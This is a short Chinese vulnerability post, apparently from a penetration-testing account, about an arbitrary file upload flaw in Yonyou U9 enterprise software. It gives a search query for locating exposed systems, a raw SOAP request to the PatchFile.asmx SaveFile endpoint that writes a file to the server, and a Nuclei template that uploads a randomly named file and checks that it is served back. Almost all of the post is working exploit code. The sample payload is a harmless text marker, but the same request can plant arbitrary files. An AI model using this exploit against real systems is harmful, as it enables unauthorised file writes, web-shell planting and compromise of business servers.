用友系统-U9企业版存在任意文件上传漏洞(新接口)-漏洞挖掘

app:"用友 U9"

POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1Host: {}Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4nConnection: closeContent-Type: text/xml; charset=utf-8Content-Length: 433<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <SaveFile xmlns="http://tempuri.org/">      <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>      <path>./</path>      <fileName>123.txt</fileName>    </SaveFile>  </soap:Body></soap:Envelope>

id: yonyou-U9-PatchFile-asmx-uploadfileinfo:  name: yonyou-U9-PatchFile-asmx-uploadfile  author: 渗透安全HackTwo  severity: high  description: |    漏洞测试-公众号-渗透安全HackTwo  reference:    - https://127.0.0.1  tags: autovariables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1        Host:{{Hostname}}        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9b        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Content-Type: text/xml; charset=utf-8        Connection: close        <?xml version="1.0" encoding="utf-8"?>        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">          <soap:Body>            <SaveFile xmlns="http://tempuri.org/">              <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>              <path>./</path>              <fileName>{{filename}}.txt</fileName>            </SaveFile>          </soap:Body>        </soap:Envelope>      - |        GET /CS/Office/AutoUpdates/{{filename}}.txt HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36    matchers:      - type: dsl        dsl:          - status_code==200 && contains_all(body,"Upload-successfully")